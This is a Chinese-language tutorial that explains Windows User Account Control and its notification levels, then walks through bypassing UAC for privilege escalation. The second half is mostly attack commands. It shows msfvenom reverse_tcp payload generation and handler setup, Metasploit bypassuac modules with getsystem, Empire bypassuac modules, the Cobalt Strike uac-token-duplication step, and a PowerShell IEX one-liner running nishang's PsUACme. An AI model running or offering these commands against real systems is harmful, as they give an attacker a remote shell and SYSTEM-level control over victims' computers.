用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
使用UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
用户帐户控制(UAC)是新版Windows的核心安全功能,也是其最常被人误解的众多安全功能当中的一种。
用户
用户执行需要权限的操作
ShellExecuteCreateProcess
CreateProcess
系统
应用程序信息服务
提升ActiveX安装
检查UAC滑块水平
启用安全桌面
创建进程
应用程序兼容性
安装程序检测
内核
虚拟化
文件系统和注册表
UAC有一个滑块可以从四个级别的通知中选择。
总是通知将:
当程序试图安装软件或更改您的计算机时通知。
当您更改Windows设置时通知。
只有当程序试图更改我的电脑时才通知我:
当程序试图安装软件或更改您的计算机时通知。
当您更改Windows设置时,不会通知。
只有当程序试图更改我的电脑时才通知我(不要使我的桌面变暗):
当程序试图安装软件或更改您的计算机时通知。
当您更改Windows设置时,不会通知。
永远不要通知(禁用UAC提示):
当程序试图安装软件或更改您的计算机时,不会通知。
当您更改Windows设置时,不会通知。
UAC需要授权包括:
提权前提在已经获得一个meterpreter的情况下,进行bypassuac提权,而且确保当前用户是在管理员用户组的情况下。
生成一个木马文件来获取一个meterpreter
操作如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4444 -f exe>payload.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.x.x
set LPORT 4444
run
background
利用exploit/windows/local/bypassuac模块提权
操作如下:
use exploit/windows/local/bypassuac
set session 1
run
getuid
getsystem
getuid
也可以用exploit/windows/local/bypassuac_eventvwr模块提权bypassuac事件查看器。
Search bypass找一些可以利用的,我这里目标机是win7旗舰x64。
Runas提权会创建一个执行文件,会在目标机上弹出一个uac的对话框,点击是回弹一个shell,可以进行getsystem提权。
弹出对话框点击“是”则会反弹shell,进行提权操作。
已经有一个listener了需要获取一个agents shell
通过meterpreter上传并执行,执行完成后桌面上就会消失。
返回一个agents shell
搜索模块searchmodule会有很多相关的
操作如下:
usemoudle privesc/bypassuac
info
set Listener hack
execute
此模块只用于Windows7系统,使用Windows系统下的wscript.exe执行payload进行绕过uac提权。
操作如下:
usemoudle privesc/bypassuac_wscript
info
set Listener hack
execute
前提是获得一个会话的情况下进行提权。
右击目标选择执行-提权弹出一个对话框,选择“监听器”-“expolit”为uac-token-duplication。
提权成功
在获取一个meterpreter的情况下,上传nishang的PsUACme.ps1脚本。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('C:\Users\Admin\Desktop\Invoke-PsUACme.ps1'); Invoke-PsUACme -method oobe -verbose
运行完会弹出一个新的高权限窗口。
可以结合CS使用powershell,同样也可以在目标机弹窗。
https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works